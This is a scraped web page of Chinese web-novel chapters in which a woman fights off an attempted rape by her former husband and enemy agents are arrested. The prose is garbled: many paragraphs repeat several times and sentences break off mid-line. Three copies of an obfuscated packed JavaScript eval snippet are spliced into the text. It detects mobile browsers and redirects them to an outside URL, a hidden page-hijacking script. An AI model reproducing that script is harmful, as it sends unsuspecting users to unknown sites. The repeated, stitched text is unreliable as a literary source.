李秋兰看着姜海棠就这么把自己关在大门外面,气恼得不得了。 这个姜海棠,怎么变得油盐不进了? 以前在大队里的时候,要是自己能说出这么几句好听的话,姜海棠连命都能给自己。 “**,你给我等着,我一定要让你付出代价!”李秋兰咬牙切齿地走了! 不过,现在,她连李秋兰说的一个字都不相信! “不用了,我这个人天生没有父母亲缘,还是不要乱认娘的好。” 李秋兰没想到自己说了这么多,姜海棠还是一副油盐不进的模样。 她生气了,想骂人,但想着目的还没达到,只能耐着性子继续说。 “嫂子……海棠姐,不管有多少恩恩怨怨,现在都已经过去了,我们要朝前看,总不能一辈子记着仇怨吧?” “当然要记得,那些切肤之痛,凡是忘了,都是对我自己的不尊重。李秋兰,我能保持和你们家人当陌生人,已经是对你们最大的宽容了,你以后,不要再来找我!我不想看到你,不想看到你们李家的任何一个人!” 看到李家的人,姜海棠有一种生理性的厌恶。 “我还有事,你回去吧。”姜海棠说着,回到院子里关上大门。 她还要守着小桃子,并没有将心思放在李秋兰的身上。 李秋兰看着姜海棠就这么把自己关在大门外面,气恼得不得了。 这个姜海棠,怎么变得油盐不进了? 以前在大队里的时候,要是自己能说出这么几句好听的话,姜海棠连命都能给自己。 “**,你给我等着,我一定要让你付出代价!”李秋兰咬牙切齿地走了! 不过,现在,她连李秋兰说的一个字都不相信! “不用了,我这个人天生没有父母亲缘,还是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15807916|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要乱认娘的好。” 李秋兰没想到自己说了这么多,姜海棠还是一副油盐不进的模样。 她生气了,想骂人,但想着目的还没达到,只能耐着性子继续说。 “嫂子……海棠姐,不管有多少恩恩怨怨,现在都已经过去了,我们要朝前看,总不能一辈子记着仇怨吧?” “当然要记得,那些切肤之痛,凡是忘了,都是对我自己的不尊重。李秋兰,我能保持和你们家人当陌生人,已经是对你们最大的宽容了,你以后,不要再来找我!我不想看到你,不想看到你们李家的任何一个人!” 看到李家的人,姜海棠有一种生理性的厌恶。 “我还有事,你回去吧。”姜海棠说着,回到院子里关上大门。 她还要守着小桃子,并没有将心思放在李秋兰的身上。 李秋兰看着姜海棠就这么把自己关在大门外面,气恼得不得了。 这个姜海棠,怎么变得油盐不进了? 以前在大队里的时候,要是自己能说出这么几句好听的话,姜海棠连命都能给自己。 “**,你给我等着,我一定要让你付出代价!”李秋兰咬牙切齿地走了! 不过,现在,她连李秋兰说的一个字都不相信! “不用了,我这个人天生没有父母亲缘,还是不要乱认娘的好。” 李秋兰没想到自己说了这么多,姜海棠还是一副油盐不进的模样。 她生气了,想骂人,但想着目的还没达到,只能耐着性子继续说。 “嫂子……海棠姐,不管有多少恩恩怨怨,现在都已经过去了,我们要朝前看,总不能一辈子记着仇怨吧?” “当然要记得,那些切肤之痛,凡是忘了,都是对我自己的不尊重。李秋兰,我能保持和你们家人当陌生人,已经是对你们最大的宽容了,你以后,不要再来找我!我不想看到你,不想看到你们李家的任何一个人!” 看到李家的人,姜海棠有一种生理性的厌恶。 “我还有事,你回去吧。”姜海棠说着,回到院子里关上大门。 她还要守着小桃子,并没有将心思放在李秋兰的身上。 李秋兰看着姜海棠就这么把自己关在大门外面,气恼得不得了。 这个姜海棠,怎么变得油盐不进了? 以前在大队里的时候,要是自己能说出这么几句好听的话,姜海棠连命都能给自己。 “**,你给我等着,我一定要让你付出代价!”李秋兰咬牙切齿地走了! 不过,现在,她连李秋兰说的一个字都不相信! “不用了,我这个人天生没有父母亲缘,还是不要乱认娘的好。” 李秋兰没想到自己说了这么多,姜海棠还是一副油盐不进的模样。 她生气了,想骂人,但想着目的还没达到,只能耐着性子继续说。 “嫂子……海棠姐,不管有多少恩恩怨怨,现在都已经过去了,我们要朝前看,总不能一辈子记着仇怨吧?” “当然要记得,那些切肤之痛,凡是忘了,都是对我自己的不尊重。李秋兰,我能保持和你们家人当陌生人,已经是对你们最大的宽容了,你以后,不要再来找我!我不想看到你,不想看到你们李家的任何一个人!” 看到李家的人,姜海棠有一种生理性的厌恶。 “我还有事,你回去吧。”姜海棠说着,回到院子里关上大门。 她还要守着小桃子,并没有将心思放在李秋兰的身上。 李秋兰看着姜海棠就这么把自己关在大门外面,气恼得不得了。 这个姜海棠,怎么变得油盐不进了? 以前在大队里的时候,要是自己能说出这么几句好听的话,姜海棠连命都能给自己。 “**,你给我等着,我一定要让你付出代价!”李秋兰咬牙切齿地走了! 不过,现在,她连李秋兰说的一个字都不相信! “不用了,我这个人天生没有父母亲缘,还是不要乱认娘的好。” 李秋兰没想到自己说了这么多,姜海棠还是一副油盐不进的模样。 她生气了,想骂人,但想着目的还没达到,只能耐着性子继续说。 “嫂子……海棠姐,不管有多少恩恩怨怨,现在都已经过去了,我们要朝前看,总不能一辈子记着仇怨吧?” “当然要记得,那些切肤之痛,凡是忘了,都是对我自己的不尊重。李秋兰,我能保持和你们家人当陌生人,已经是对你们最大的宽容了,你以后,不要再来找我!我不想看到你,不想看到你们李家的任何一个人!” 看到李家的人,姜海棠有一种生理性的厌恶。 “我还有事,你回去吧。”姜海棠说着,回到院子里关上大门。 她还要守着小桃子,并没有将心思放在李秋兰的身上。 李秋兰看着姜海棠就这么把自己关在大门外面,气恼得不得了。 这个姜海棠,怎么变得油盐不进了? 以前在大队里的时候,要是自己能说出这么几句好听的话,姜海棠连命都能给自己。 “**,你给我等着,我一定要让你付出代价!”李秋兰咬牙切齿地走了! 第189章 抓到你了 “**你给我等着我一定要让你付出代价!” 李秋兰眼里都是不属于她这个年纪的狠毒咬牙切齿地甩下狠话后怒气冲冲地走了。 李胜利简陋的宿舍里因为没有了梁素雅这个女主人和之前的温馨完全不同。 原本洁白的墙面斑驳墙皮剥落得如同这支离破碎的家一样。 李秋兰一进屋 清脆的碎裂声在狭小的空间里回荡搪瓷片四处飞溅掉落地上斑斑点点。 “妈我再也不要委屈自己求姜海棠了我这段时间用了多少精力她油盐不进。既然她敬酒不吃那就吃罚酒。” 李秋兰胸脯剧烈起伏眼中满是怨毒。 吴秋月坐在木床上目光阴鸷地望着窗外树影婆娑间仿佛能看到她心中翻涌的恶意。 “让你哥帮你女人被睡了自然就安生了。” 自从姜海棠决然离开李家这个家便像被施了诅咒诸事不顺。 不光大队里不要他们把他们撵到城里就连儿子家里也不顺心得很。 娶进门的媳妇都跑了在吴秋月看来这一切的始作俑者就是姜海棠只要她回来一切或许都会回到正轨。 而此时的姜海棠对李家的阴谋浑然不觉。 她整日沉浸在实验中一心解决纺织工艺上遇到的难题。 这日实验室的钟表指针早已悄然滑向深夜窗外漆黑一片唯有实验室的灯光倔强地亮着。 姜海棠皱着眉头盯着实验数据满心都是今天实验失败的原因浑然未觉危险正在逼近。 她像往常一样走在那条熟悉的小路上路灯昏黄的光线将她的影子拉得很长。 四周寂静无声只有偶尔传来的虫鸣声。 忽然一只大手抓着帕子猛地捂住她的嘴还没等她反应过来便被一股蛮力拖向旁边荒废的旧仓库。 姜海棠本能地挣扎双脚在地上乱蹬却无济于事嘴巴很快被一团粗糙的破布堵住喉咙被勒得生疼。 “砰”的一声巨响仓库的门被重重关上震得屋顶的灰尘簌簌落下。 周围只有从窗户里照进来的月光勉强能让姜海棠看清楚室内的情况姜海棠努力地眨了眨眼睛心跳如擂鼓般剧烈。 她不知道到底是谁将自己弄到这里求生的本能让她迅速冷静下来立即全神戒备摆出防守的姿势。 “姜海棠 !”李胜利阴恻恻的声音从身后传来,带着几分醉意和扭曲的欲望。 姜海棠浑身一僵,立即转身,借着从窗户破洞中透进来的微弱月光,看到了李胜利那张因疯狂而扭曲的脸。 她不露痕迹地后退几步,尽量与他拉开距离,“你要干什么?” “姜海棠,我要离婚了,你满意了吗?”李胜利的目光中都是怨毒。 姜海棠听着李胜利这话,都不知道该是什么表情了。 “李胜利,你离不离婚和我没关系,我有什么必要满意或者不满意?” “你如果老老实实留在清水沟伺候我娘,照顾家里,不要来城里,一切都不会发生,我会在城里过得好好的,平步青云,你为什么要来城里?为什么?”李胜利的声音有些歇斯底里。 姜海棠简直要被这无耻发言气笑了。 这世上居然还有如此厚颜无耻之人。 “李胜利,你娘该你伺候,为什么要让我照顾?你说这话的时候,不觉得荒谬吗?” “不重要了,我要离婚了,我离婚后,我们结婚,你还是我媳妇。” 李胜利舔了舔嘴唇,眼中闪烁着贪婪的光芒,笑容无比猥琐。 “以前,倒是没看出来,你竟是个美人胚子,才到城里多长时间,白白净净,比城里姑娘还好看。” 他一边说着,一边缓缓逼近,脚步在堆满杂物的地面上发出“咯吱咯吱”的声响。 姜海棠心中涌起一阵恶心和愤怒,强压下情绪,厉声道:“李胜利,你不要一错再错。” “我不好吗?我比不了陆良辰吗?就因为陆良辰是厂长,所以,你才会喜欢他,甚至愿意没有结婚就接纳他的孩子?” 李胜利突然情绪激动起来,声音提高了八度,双手在空中挥舞,身上散发着浓烈的酒气,脚步也有些踉跄。 姜海棠不敢继续刺激这个几乎要疯狂的男人,只能不断后退。 直到后背抵上冰冷的砖墙,她心中一紧,意识到已经退无可退。 李胜利呼出的带着酒臭的气息喷在她脸上,那双布满血丝的眼睛里闪烁着疯狂的光芒,仿佛一头即将扑食的野兽。 “李胜利,你清醒一点!”姜海棠厉声喝道,右手悄悄摸向腰间的工作包,“你这是犯罪!” “犯罪?”李胜利咧嘴一笑,露出一口发黄的牙齿,“你本来就是我媳妇,就算我不要你了,你也应该在清水沟等着我。” “我是活生生的人,李胜利,你当我是什么?” 姜海棠被李 胜利这话勾起了上辈子的痛苦回忆,心中的怒火再也压抑不住,忍不住开口怒斥。 上辈子,李胜利应该就是抱着这样的心思,让她在清水沟消耗了一辈子吧? “我想来想去,怪我没有把生米煮成熟饭,才让你有机会另找男人。姜海棠,老子现在就睡了你,等你和我睡了,你就听话了!” 李胜利突然暴起,像饿狼般扑上来,粗糙的手掌死死抓住姜海棠的衣领。 “刺啦——”姜海棠的衣服领口被撕开一道口子。 她心慌意乱,但理智告诉她,越是这种时候,越不能慌乱。 就在李胜利以为即将得逞,稍微放松警惕的瞬间,姜海棠迅速从包里掏出一把小锤子,用尽全身力气狠狠砸在李胜利额头上。 “啊!”李胜利惨叫一声,双手捂住额头,鲜血从指缝间汩汩流出,踉跄着后退几步。 姜海棠趁机迅速闪到一旁,抓紧手中的小锤子放在胸前,警惕地看着对方。 “毒妇,你居然敢打我!我是你男人!”李胜利恶狠狠地咆哮着,眼中满是杀意。 “李胜利,你是梁素雅的男人,和我没关系。” 姜海棠冷笑一声,目光快速扫视着昏暗的仓库。 月光从破损的窗户和屋顶照进来,照在堆满废旧纺织机械的角落,姜海棠努力寻找可以利用的东西。 李胜利抹了把脸上的血, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她要找准机会,一击必胜才行。 就在姜海棠等待机会的时候,一道黑影朝着她的方向靠近。 她没有丝毫犹豫,立即将手中的木棍朝着黑影的脑袋砸下去。 她用了十成十的力气,只听“咚”的一声闷响,李胜利被砸得晕头转向,一个趔趄,重重地倒在地上。 “啊!你这个疯女人!”跌倒之前,李胜利还有力气破口大骂。 姜海棠趁机冲向仓库大门,却发现门已经被牢牢锁住,她心中顿时明白,李胜利还有同伙,不用问就知道,这个同伙肯定是他妹妹李秋兰。 李家兄妹果然一样让人恶心,她在心中暗暗咒骂。 而这时候,李胜利已经摇摇晃晃地站起来了,额头上的鲜血顺着脸颊流下,在月光下显得格外狰狞可怖。 他吐出一口带血的唾沫,眼中凶光毕露:“臭娘们,今天不弄死你,老子就不姓李!” 姜海棠紧握木棍,后背紧贴仓库大门。她能感觉到寒意透过衣衫传来,但此刻已无路可退。 “来啊!”李胜利突然暴起,铁棍带着呼啸的风声横扫过来。 姜海棠反应迅速,矮身躲过,木棍直戳对方膝盖。 “咔嚓!”木棍应声断裂,但李胜利也痛呼一声,跪倒在地。 姜海棠趁机一个翻滚,捡起地上散落的纱锭砸向他的后脑。 李胜利却像背后长了眼睛,猛地转身一把抓住她的脚踝:“抓到你了!” 第190章 我打赢了 姜海棠被重重摔在地上,后背传来一阵剧痛,仿佛骨头都要散架了。 她咬牙忍住眩晕,另一只脚狠狠踹向李胜利的面门。 “啊!”李胜利鼻血喷涌而出,但手上的力道丝毫未减,反而更用力地将她往仓库深处拖去。 在他看来,事情已经做了,如果不做完,他这辈子就真的完了,只有睡了这个女人,才有机会翻盘。 姜海棠的手指在地上拼命抓挠,突然触到一块尖锐的金属碎片,似乎是一块机器零件。 她毫不犹豫地反手一划,“嘶——”李胜利的手腕顿时鲜血淋漓,不得不松手。 姜海棠趁机翻身而起,抓起地上的半截铁管。 两人在月光下对峙,粗重的喘息声在空旷的仓库里格外清晰。 李胜利抹了把脸上的血,突然狞笑起来:“够辣!老子就喜欢驯服烈马!早知道你这么有意思,退伍后我就回家和你圆房了。” 姜海棠看到,李胜利手中不知道什么时候多了一截钢针,她瞳孔骤缩,握紧铁管的手指节发白,心跳也陡然加快。 她想起陆良辰教过她的招式“敌动我不动,敌不动我先动”。 她深吸一口气,慢慢稳住心神,目光紧紧盯着李胜利的一举一动。 就在李胜利举着钢针扑来的瞬间,姜海棠突然侧身,铁管精准地击中他的手腕。 “叮当!”李胜利手中的钢针落地,在地上发出清脆的声响。 姜海棠不给对方喘息的机会,一个扫堂腿将李胜利绊倒,然后迅速将铁管抵住他的咽喉。 “再动一下,我就捅下去!”她的声音冷得像冰,眼神中透露出坚定和杀意。 李胜利僵住了,他从未见过这样的姜海棠,眼神凌厉如刀,浑身散发着让人胆寒的杀气。 这一刻他才真正意识到,眼前的女人早已不是清水沟那个任人欺凌的童养媳了。 现在的姜海棠,身上的气势比自己这个当过几年兵的人还要足。 想到姜海棠的蜕变是因为另外一个男人,李胜利觉得自己整个人都不好了。 一个属于自己的女人,怎么可以被别人改变?这是不守妇德! “姜海棠,你不守妇德,你勾引其他男人,现在还要**?”他色厉内荏地喊道,声音中带着一丝恐惧。 姜海棠冷笑一声,铁管往前送了半寸,冰冷的金属抵在李胜利的皮肤上:“正当防卫,杀了你也白杀。” “你是我老婆,拜过天地的!你这是**亲夫!”李胜利歇 斯底里地喊道,声音中充满了不甘和绝望。 他之前以为,过了今天晚上,姜海棠就属于他了,现在的局面,让他不能接受。 “你忘了吗,我们没有领证,我不是你老婆。”姜海棠语气冰冷,停顿一下,继续说:“如果我是你老婆,你早就被开除送去**了。” 侥幸逃过一劫的人,居然还敢提这一茬,实在可笑。 “海棠,我错了,我不该被城里的女人花了眼,你原谅我一回好不好,我们以后好好过日子!”李胜利似乎察觉到自己处于劣势,突然换了一副嘴脸,眼中满是乞怜。 看着这样的李胜利,姜海棠觉得更加恶心了。 上辈子李胜利在她记忆中那高高在上的模样,在这一刻彻底崩塌。 姜海棠终于相信,这一辈子确实和上辈子不一样了。 “李胜利,你做出这么多的恶心事,凭什么觉得,我会和你一起好好过日子?我恨不得你死!” 姜海棠怒声说道,心中的恨意如潮水般翻涌。 就在姜海棠想着要不要狠狠心,要了李胜利这条狗命的时候,仓库外突然传来急促的脚步声和呼喊。 “姜工!姜海棠同志!” “海棠!海棠!” 听着熟悉的声音穿透仓库厚重的木门,姜海棠几乎要喜极而泣,她强撑着最后一丝力气高声回应:“我在这里!仓库门被锁了!” 声音在空荡荡的仓库里激起回音,尾音带着不易察觉的颤抖。 她死死将铁管抵在李胜利咽喉处,指节因过度用力泛着青白,就怕这个垂死挣扎的男人趁机作乱。 李胜利听到外面的动静,浑浊的瞳孔猛地收缩,脸上血色尽褪。 他突然爆发出一股蛮力,用膝盖狠狠顶向姜海棠腹部,在她吃痛松手的瞬间,挣扎着朝地上的钢针爬去。 姜海棠踉跄两步稳住身形,立即抄起半截钢管,用尽全身力气朝着李胜利的脸砸下去! 钢管裹胁着呼啸风声划过他的右眼,顿时血花四溅。 “啊!我的眼睛!” 李胜利发出杀猪般的惨叫,双手死死捂住不断渗血的眼眶,在地上翻滚哀嚎。暗红色的血顺着他的指缝滴落在布满灰尘的地面,晕染出可怖的痕迹。 就在这时,仓库铁门在撞击声中轰然洞开,刺目的手电筒光束扫进来。 姜海棠眯起眼睛,看见老郑带着四名保卫科同志冲了进来。 陆良辰紧跟在他们身后。 “海棠!你怎么样?”陆良辰三 步两步冲到姜海棠的身边。 在看清她凌乱的衣衫和苍白的脸色后,陆良辰喉结剧烈滚动。 他一把将摇摇欲坠的姜海棠搂进怀里,掌心触到她后背湿漉漉的一片,借着月光才发现那是大片暗红的血迹。 “你受伤了?” 姜海棠这时候才察觉到后背疼痛袭来。 “应该是刚才被拖行时,后背刮擦到地上生锈的铁片了。”姜海棠忍痛解释。 “你流了很多血。” “良辰,我没事,我赢了!”姜海棠强撑着露出个笑容,话音未落,眼前突然一阵天旋地转。 连日的劳累、刚刚激烈搏斗的消耗,还有伤口传来的阵阵剧痛,让她再也支撑不住,软软地倒进陆良辰怀里。 陆良辰的心瞬间揪成一团,声音发颤得厉害:“别怕,我在。” 他小心翼翼地托住姜海棠的膝盖,将她整个人打横抱起,转向呆立的保卫科众人,语气冷得像冰:“把他捆起来!” 老郑等人七手八脚地用麻绳将仍在抽搐的李胜利捆成粽子。 这个方才还凶神恶煞的男人,此刻蜷在地上发出呜咽,右眼血肉模糊,血水混着灰尘糊了满脸,就算捡回一条命,这只眼睛也彻底废了。 姜海棠靠在陆良辰肩头,突然想起什么,挣扎着要起身。 “李秋兰!这件事肯定和她有关!刚才门锁……一定是她帮忙……” 话音未落便咳嗽起来,牵动后背的伤口,疼得冷汗直冒。 陆良辰眼神瞬间冷如寒潭,他轻轻拍了拍姜海棠的背示意她别说话,转头对老郑说:“老郑,带两个人去李家,务必把相关人等控制住,我带海棠去医院。” “我真的没事,回家擦点紫药水就好……” 姜海棠虚弱的**,话没说完就被陆良辰严厉打断。 “你后背的伤口很深,铁器上锈迹斑斑,必须打破伤风针。” “没这么娇气……”姜海棠还想挣扎。 可陆良辰抱着她大步往外走,语气不容置疑:“要是感染败血症怎么办?” 他的下巴轻轻蹭了蹭姜海棠的发顶,声音放软了些:“别让我担心,嗯?” 医院走廊弥漫着消毒水的气味,姜海棠趴在诊疗床上,咬着嘴唇任由医生清理后背的伤口。 沾着碘伏的棉球擦过伤口时,钻心的疼痛让她浑身绷紧,指甲深深掐进床单里。 陆良辰一直守在旁边,伸手让她攥着,掌心很快被掐出月牙形的血痕。 “很疼 吧?”陆良辰声音发闷,看着医生将沾着铁锈的碎布从伤口里夹出来,他觉得自己的心也跟着被揪起来。 姜海棠摇摇头,想露出个笑脸,却疼得嘴角直抽抽。 打完破伤风针,姜海棠因为伤口感染需要住院观察。 等输上液躺到病床上时,先前强撑的精神彻底松懈下来,这才感觉浑身像散了架般酸痛,后背的伤口火辣辣地疼,连呼吸都牵扯着抽痛。 她不自觉地哼哼出声,像只受伤的小猫。 陆良辰端着温水走进病房,看见她皱成包子的小脸,又好气又心疼:“不是还嘴硬说不用来医院?看看现在遭的罪!” 话虽严厉,他却轻轻在床边坐下,用棉签沾着温水给她润唇。 姜海棠委屈地拽住他的袖口,声音软软的:“我错了,以后不这样了!” 说着说着眼睛就红了,想起今晚的惊险,后怕得直掉眼泪。 陆良辰心都要碎了,连忙把人搂进怀里,小心避开她的伤口:“是我不好,没保护好你。” 他轻轻地摩挲着姜海棠的头发:“以后再也不让你受一点伤。” “没事,我能自己保护自己,你还有很多大事要干。” “真是败给你了。”陆良辰无奈地摇摇头,把水杯送到姜海棠的唇边。 吧?”陆良辰声音发闷,看着医生将沾着铁锈的碎布从伤口里夹出来,他觉得自己的心也跟着被揪起来。 姜海棠摇摇头,想露出个笑脸,却疼得嘴角直抽抽。 打完破伤风针,姜海棠因为伤口感染需要住院观察。 等输上液躺到病床上时,先前强撑的精神彻底松懈下来,这才感觉浑身像散了架般酸痛,后背的伤口火辣辣地疼,连呼吸都牵扯着抽痛。 她不自觉地哼哼出声,像只受伤的小猫。 陆良辰端着温水走进病房,看见她皱成包子的小脸,又好气又心疼:“不是还嘴硬说不用来医院?看看现在遭的罪!” 话虽严厉,他却轻轻在床边坐下,用棉签沾着温水给她润唇。 姜海棠委屈地拽住他的袖口,声音软软的:“我错了,以后不这样了!” 说着说着眼睛就红了,想起今晚的惊险,后怕得直掉眼泪。 陆良辰心都要碎了,连忙把人搂进怀里,小心避开她的伤口:“是我不好,没保护好你。” 他轻轻地摩挲着姜海棠的头发:“以后再也不让你受一点伤。” “没事,我能自己保护自己,你还有很多大事要干。” “真是败给你了。”陆良辰无奈地摇摇头,把水杯送到姜海棠的唇边。 吧?”陆良辰声音发闷,看着医生将沾着铁锈的碎布从伤口里夹出来,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15820473|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得自己的心也跟着被揪起来。 姜海棠摇摇头,想露出个笑脸,却疼得嘴角直抽抽。 打完破伤风针,姜海棠因为伤口感染需要住院观察。 等输上液躺到病床上时,先前强撑的精神彻底松懈下来,这才感觉浑身像散了架般酸痛,后背的伤口火辣辣地疼,连呼吸都牵扯着抽痛。 她不自觉地哼哼出声,像只受伤的小猫。 陆良辰端着温水走进病房,看见她皱成包子的小脸,又好气又心疼:“不是还嘴硬说不用来医院?看看现在遭的罪!” 话虽严厉,他却轻轻在床边坐下,用棉签沾着温水给她润唇。 姜海棠委屈地拽住他的袖口,声音软软的:“我错了,以后不这样了!” 说着说着眼睛就红了,想起今晚的惊险,后怕得直掉眼泪。 陆良辰心都要碎了,连忙把人搂进怀里,小心避开她的伤口:“是我不好,没保护好你。” 他轻轻地摩挲着姜海棠的头发:“以后再也不让你受一点伤。” “没事,我能自己保护自己,你还有很多大事要干。” “真是败给你了。”陆良辰无奈地摇摇头,把水杯送到姜海棠的唇边。 吧?”陆良辰声音发闷,看着医生将沾着铁锈的碎布从伤口里夹出来,他觉得自己的心也跟着被揪起来。 姜海棠摇摇头,想露出个笑脸,却疼得嘴角直抽抽。 打完破伤风针,姜海棠因为伤口感染需要住院观察。 等输上液躺到病床上时,先前强撑的精神彻底松懈下来,这才感觉浑身像散了架般酸痛,后背的伤口火辣辣地疼,连呼吸都牵扯着抽痛。 她不自觉地哼哼出声,像只受伤的小猫。 陆良辰端着温水走进病房,看见她皱成包子的小脸,又好气又心疼:“不是还嘴硬说不用来医院?看看现在遭的罪!” 话虽严厉,他却轻轻在床边坐下,用棉签沾着温水给她润唇。 姜海棠委屈地拽住他的袖口,声音软软的:“我错了,以后不这样了!” 说着说着眼睛就红了,想起今晚的惊险,后怕得直掉眼泪。 陆良辰心都要碎了,连忙把人搂进怀里,小心避开她的伤口:“是我不好,没保护好你。” 他轻轻地摩挲着姜海棠的头发:“以后再也不让你受一点伤。” “没事,我能自己保护自己,你还有很多大事要干。” “真是败给你了。”陆良辰无奈地摇摇头,把水杯送到姜海棠的唇边。 吧?”陆良辰声音发闷,看着医生将沾着铁锈的碎布从伤口里夹出来,他觉得自己的心也跟着被揪起来。 姜海棠摇摇头,想露出个笑脸,却疼得嘴角直抽抽。 打完破伤风针,姜海棠因为伤口感染需要住院观察。 等输上液躺到病床上时,先前强撑的精神彻底松懈下来,这才感觉浑身像散了架般酸痛,后背的伤口火辣辣地疼,连呼吸都牵扯着抽痛。 她不自觉地哼哼出声,像只受伤的小猫。 陆良辰端着温水走进病房,看见她皱成包子的小脸,又好气又心疼:“不是还嘴硬说不用来医院?看看现在遭的罪!” 话虽严厉,他却轻轻在床边坐下,用棉签沾着温水给她润唇。 姜海棠委屈地拽住他的袖口,声音软软的:“我错了,以后不这样了!” 说着说着眼睛就红了,想起今晚的惊险,后怕得直掉眼泪。 陆良辰心都要碎了,连忙把人搂进怀里,小心避开她的伤口:“是我不好,没保护好你。” 他轻轻地摩挲着姜海棠的头发:“以后再也不让你受一点伤。” “没事,我能自己保护自己,你还有很多大事要干。” “真是败给你了。”陆良辰无奈地摇摇头,把水杯送到姜海棠的唇边。 吧?”陆良辰声音发闷,看着医生将沾着铁锈的碎布从伤口里夹出来,他觉得自己的心也跟着被揪起来。 姜海棠摇摇头,想露出个笑脸,却疼得嘴角直抽抽。 打完破伤风针,姜海棠因为伤口感染需要住院观察。 等输上液躺到病床上时,先前强撑的精神彻底松懈下来,这才感觉浑身像散了架般酸痛,后背的伤口火辣辣地疼,连呼吸都牵扯着抽痛。 她不自觉地哼哼出声,像只受伤的小猫。 陆良辰端着温水走进病房,看见她皱成包子的小脸,又好气又心疼:“不是还嘴硬说不用来医院?看看现在遭的罪!” 话虽严厉,他却轻轻在床边坐下,用棉签沾着温水给她润唇。 姜海棠委屈地拽住他的袖口,声音软软的:“我错了,以后不这样了!” 说着说着眼睛就红了,想起今晚的惊险,后怕得直掉眼泪。 陆良辰心都要碎了,连忙把人搂进怀里,小心避开她的伤口:“是我不好,没保护好你。” 他轻轻地摩挲着姜海棠的头发:“以后再也不让你受一点伤。” “没事,我能自己保护自己,你还有很多大事要干。” “真是败给你了。”陆良辰无奈地摇摇头,把水杯送到姜海棠的唇边。 第191章 英雄 姜海棠小口啜饮着温水,病房里静得能听见盐水滴落的滴答声。 突然,走廊传来凌乱的脚步声,病房门被猛地推开,康小夏跑了进来。 她涨红的脸上还沾着汗珠,杏眼圆睁,声音带着哭腔:“海棠姐,你怎么样?吓死我了!” 姜海棠侧躺着,扯出一抹苍白的笑:“我没事,就是擦破点皮。” 她抬手想安抚对方,却牵动后背伤口,疼得睫毛轻颤。 “都这样了还嘴硬!笑得比哭的还难看!” 姜海棠苦笑着摸摸后脑勺,知道说什么都是错的。 “小康同志!”陆良辰出声打断,他站在窗边,衣服下摆上还沾着仓库的灰尘,一双半旧的军靴上还沾着泥土。 他抬手看表,“今晚辛苦小康同志帮忙照顾了,我还有事,得离开,海棠,有事就让人去找我。” 康小夏立即说:“陆厂长,您放心吧,我会照顾好海棠姐的。” 姜海棠望着男人紧绷的下颌线,知道他此刻还有许多事要忙。 从发现李胜利异常开始,陆良辰已经在暗处布局三个月,联系国安、排查内鬼、收集证据,每一步都如履薄冰。 如今收网在即,他肩上的担子比泰山还重。 因此,她乖顺地点点头。 “你要小心,也要保重自己,我等你回来。”她语带担心地说。 陆良辰走到床边,伸手理了理她散落的发丝,动作轻柔得像触碰易碎的琉璃。 这种时候,作为未婚夫,他应该陪在她的身边,可是,身上背负的责任让他没有办法陪着她。 “好好休息,等我。”他转身大步离开,带起一阵冷冽的风。 门合上的瞬间,姜海棠听见他在走廊低声吩咐:“务必做好安保工作。” 康小夏挨着病床坐下,小心翼翼掀开姜海棠后背的纱布查看。 伤口周围红肿得几乎要透明,在白皙皮肤上触目惊心。 “畜生!”她气得直掉眼泪,“李胜利平时看着人模狗样的,谁能想到……” 说了一半,康小夏才想起来,李胜利本来就不是好人,要是好人,怎么会假死? “没想到在咱们厂里都能出事,以后厂里估计要有好长时间人心惶惶了。”康小夏心有余悸额说。 姜海棠忍痛露出一抹笑容:“李胜利这是狗急跳墙了,我们厂的治安还是可以的。” 姜海棠安慰康小夏,其实她也知道,这样的安慰没有什么用。 这件事如果被传 开了厂里的许多女工估计都会害怕。 与此同时纺织厂保卫科的白炽灯将办公室照得亮如白昼。 赵凯坐在办公桌前大口灌下半搪瓷缸的浓茶。 他刚才带着人将李胜利的宿舍清扫了一遍还真从中找出一些有用的东西。 瞧见陆良辰进来他立即起身汇报工作。 “团长我们和**、国安配合已经将相关人员全都抓起来了。这次的行动很成功已经掌握的嫌犯都被抓了没有遗漏。”赵凯语气十分沉重但沉重中又带着几分激动。 激动是因为没想到还能有机会参与到这种大案中去。 而沉重则是觉得敌特竟然有这么多像李胜利这种人竟然是还在部队里的时候就已经被人拉拢了实在是太可怕了。 “李胜利家里有什么发现吗?”陆良辰问。 “在李胜利宿舍搜出来的全是密码通讯记录!”赵凯将自己的发现交给陆良辰。 “这些记录全是用纺织术语编写的暗码和去年火车泄密案的加密方式如出一辙!” 陆良辰接过笔记本泛黄纸页上工整记录着“纱锭转速3200经纱张力15.2”看似普通的生产数据右下角却画着奇怪的齿轮图案。 他指尖抚过某个符号想起三个月前在废弃铁轨旁发现的半截烟蒂——同样的齿轮印记印在沾满机油的烟纸上。 “联系国安立即启动B计划务必要在天亮之前一网打尽。” “是团长!”赵凯严肃回答。 “李胜利的家人可有招供?” “她们似乎并不知道李胜利是敌特关于姜海棠同志李秋兰说因为梁素雅坚持离婚吴秀云觉得李家现在这样都是因为姜海棠同志离开因此想让姜海棠同志重新回到李家当牛做马。” “李秋兰还说李胜利现在工作不如意他们计划等李胜利和姜海棠同志结婚之后就让姜海棠让出工作给李胜利。” 